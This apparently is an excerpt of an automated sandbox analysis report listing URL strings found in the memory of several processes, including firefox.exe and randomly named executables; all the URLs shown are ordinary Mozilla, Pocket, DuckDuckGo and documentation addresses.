Source: firefox.exe, 0000001A.00000002.3276626657.0000019E4CD52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001A.00000002.3230691472.0000019E47D8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3264016612.0000019E4C115000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: file.exe, 00000000.00000003.2199007383.0000000005BDA000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2926473817.0000000000FCC000.00000004.00000020.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3090013500.0000000005FD9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3234086295.0000019E48C79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000003.2214880868.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2926473817.0000000000FCC000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3234086295.0000019E48C79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001A.00000003.3147296630.0000019E53CA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 0000001A.00000002.3269450087.0000019E4C376000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000001A.00000002.3224109770.0000019E3B811000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 0000001A.00000003.3113463433.0000019E53D23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 0000001A.00000002.3285958832.0000019E4DA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285958832.0000019E4DA19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTab
Source: firefox.exe, 0000001A.00000002.3266603908.0000019E4C266000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabMozRequestFullSc
Source: firefox.exe, 0000001A.00000002.3273423332.0000019E4C980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabPlease
Source: firefox.exe, 0000001A.00000002.3285958832.0000019E4DA19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
Source: firefox.exe, 0000001A.00000002.3273423332.0000019E4C980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureOffscreenCanvas.toBlob()
Source: firefox.exe, 0000001A.00000002.3273423332.0000019E4C980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest
Source: firefox.exe, 0000001A.00000002.3285958832.0000019E4DA33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureWebExtensionUncheckedLastErr
Source: firefox.exe, 0000001A.00000002.3285958832.0000019E4DA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285958832.0000019E4DA19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCapture
Source: firefox.exe, 0000001A.00000002.3285958832.0000019E4DA33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureElementReleaseCaptureWarning
Source: firefox.exe, 0000001A.00000002.3273423332.0000019E4C980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureInstallTrigger.install()
Source: firefox.exe, 0000001A.00000002.3285958832.0000019E4DA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285958832.0000019E4DA19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryption
Source: firefox.exe, 0000001A.00000002.3266603908.0000019E4C266000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#EncryptionPreventDefaultFromP
Source: firefox.exe, 0000001A.00000002.3273423332.0000019E4C980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto
Source: firefox.exe, 0000001A.00000002.3232273931.0000019E47F00000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 0000001A.00000002.3285958832.0000019E4DA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285958832.0000019E4DA19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing
Source: firefox.exe, 0000001A.00000002.3266603908.0000019E4C266000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingDocumentWriteIgnored
Source: firefox.exe, 0000001A.00000002.3273423332.0000019E4C980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying
Source: firefox.exe, 0000001A.00000003.3113463433.0000019E53D23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 0000001A.00000003.3113463433.0000019E53D23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 0000001A.00000003.3113463433.0000019E53D23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: 7451ae0b11.exe, 0000000B.00000003.2960373733.0000000004BCB000.00000004.00001000.00020000.00000000.sdmp, 7451ae0b11.exe, 0000000B.00000002.3001129617.000000000016C000.00000040.00000001.01000000.0000000E.sdmp, num.exe, 00000025.00000000.3281198847.0000000000C1C000.00000008.00000001.01000000.0000001A.sdmp	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3234086295.0000019E48C79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3232516855.0000019E48100000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 0000001A.00000002.3257880743.0000019E4BF80000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3095374123.0000019E4B76D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3086228555.0000019E4B852000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3084909437.0000019E4B600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3085359079.0000019E4B80F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: file.exe, 00000000.00000003.2174370045.0000000005C1B000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2896261286.0000000005958000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2896136861.000000000596F000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3051709799.000000000601B000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3056682924.000000000601B000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3051343446.000000000601D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2174370045.0000000005C1B000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2896261286.0000000005958000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2896136861.000000000596F000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3051709799.000000000601B000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3056682924.000000000601B000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3051343446.000000000601D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2174370045.0000000005C1B000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2896261286.0000000005958000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2896136861.000000000596F000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3051709799.000000000601B000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3056682924.000000000601B000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3051343446.000000000601D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47EDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 0000001A.00000002.3232516855.0000019E48100000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://ebay.com
Source: firefox.exe, 0000001A.00000002.3285958832.0000019E4DA33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285958832.0000019E4DA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285958832.0000019E4DA19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/
Source: firefox.exe, 0000001A.00000002.3273423332.0000019E4C980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/initMouseEvent()
Source: firefox.exe, 0000001A.00000002.3232273931.0000019E47F00000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://fb.me/react-polyfillsO
Source: firefox.exe, 0000001A.00000002.3232273931.0000019E47F00000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://fb.me/react-polyfillsP
Source: firefox.exe, 0000001A.00000002.3232273931.0000019E47F00000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://fb.me/react-polyfillsPO
Source: firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3234086295.0000019E48C79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3165170400.0000019E4E0ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000002.3264016612.0000019E4C115000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/673d2808-e5d8-41b9-957
Source: firefox.exe, 0000001A.00000002.3264016612.0000019E4C115000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 0000001A.00000002.3281903988.0000019E4D084000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/74f06853-c80d-4afc-9b2
Source: firefox.exe, 0000001A.00000002.3264016612.0000019E4C115000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/d8e772fe-4909-4f05-9f9
Source: firefox.exe, 0000001A.00000002.3264016612.0000019E4C115000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839
Source: firefox.exe, 0000001A.00000002.3232273931.0000019E47F00000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/browser/components/newtab/content-src/asrouter/docs/debuggin
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 0000001A.00000002.3273080593.0000019E4C950000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3257880743.0000019E4BF80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 0000001A.00000002.3232516855.0000019E48100000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 0000001A.00000002.3232516855.0000019E48100000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47EDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001A.00000002.3232516855.0000019E48100000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsm
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47EDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsmoz-e
Source: firefox.exe, 0000001A.00000002.3232516855.0000019E48100000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsmr
Source: firefox.exe, 0000001A.00000002.3232516855.0000019E48100000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001A.00000002.3232273931.0000019E47F00000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/nimbus-desktop-experiments
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47EDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001A.00000002.3232516855.0000019E48100000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordsi
Source: firefox.exe, 0000001A.00000002.3232273931.0000019E47F00000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1i
Source: firefox.exe, 0000001A.00000002.3232273931.0000019E47F00000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1i#
Source: firefox.exe, 0000001A.00000002.3234086295.0000019E48C4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3224109770.0000019E3B86B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3234086295.0000019E48C79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3165170400.0000019E4E0ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000002.3234086295.0000019E48C79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3276626657.0000019E4CD8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001A.00000002.3234086295.0000019E48C79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3276626657.0000019E4CD8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47EDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3234086295.0000019E48C79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3234086295.0000019E48C79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 0000001A.00000002.3232273931.0000019E47F00000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://getpocket.com/
Source: firefox.exe, 0000001A.00000002.3232273931.0000019E47F00000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://getpocket.com/a4
Source: firefox.exe, 0000001A.00000002.3232273931.0000019E47F00000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://getpocket.com/collections
Source: firefox.exe, 0000001A.00000002.3232273931.0000019E47F00000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://getpocket.com/explore/
Source: firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3234086295.0000019E48C79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000003.3147296630.0000019E53CA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtabL
Source: firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3234086295.0000019E48C79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000003.3147296630.0000019E53CA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtabC
Source: firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3234086295.0000019E48C79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000003.3147296630.0000019E53CA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtabA
Source: firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3234086295.0000019E48C79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000003.3147296630.0000019E53CA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtabE
Source: firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3234086295.0000019E48C79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000003.3147296630.0000019E53CA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtabG
Source: firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3234086295.0000019E48C79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000003.3147296630.0000019E53CA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab?
Source: firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3234086295.0000019E48C79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000003.3147296630.0000019E53CA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtabN
Source: firefox.exe, 0000001A.00000002.3234086295.0000019E48C79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3276626657.0000019E4CD8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3234086295.0000019E48C79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000003.3147296630.0000019E53CA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtabI
Source: firefox.exe, 0000001A.00000003.3147296630.0000019E53C6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 0000001A.00000003.3147296630.0000019E53CA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more/
Source: firefox.exe, 0000001A.00000002.3232273931.0000019E47F00000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://getpocket.com/read/$
Source: firefox.exe, 0000001A.00000002.3234086295.0000019E48C79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3276626657.0000019E4CD8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001A.00000002.3236996781.0000019E48E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/
Source: firefox.exe, 0000001A.00000003.3113463433.0000019E53D23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 0000001A.00000003.3135984680.0000019E53E83000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3200289786.0000019E53E84000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3142796839.0000019E53E85000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 0000001A.00000003.3135984680.0000019E53E83000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3200289786.0000019E53E84000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3142796839.0000019E53E85000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 0000001A.00000003.3113463433.0000019E53D23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 0000001A.00000003.3113463433.0000019E53D23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 0000001A.00000003.3084909437.0000019E4B600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3085359079.0000019E4B80F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001A.00000002.3232273931.0000019E47F00000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://github.com/projectfluent/fluent.js/wiki/React-Overlays.
Source: firefox.exe, 0000001A.00000002.3232273931.0000019E47F00000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3234086295.0000019E48C79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3232516855.0000019E48100000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 0000001A.00000002.3232273931.0000019E47F00000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://help.getpocket.com/article/1142-firefox-new-tab-recommendations-faq
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000001A.00000002.3224109770.0000019E3B811000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 0000001A.00000002.3232273931.0000019E47F00000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881a
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 0000001A.00000002.3232273931.0000019E47F00000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/7
Source: firefox.exe, 0000001A.00000003.3147296630.0000019E53CA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/X
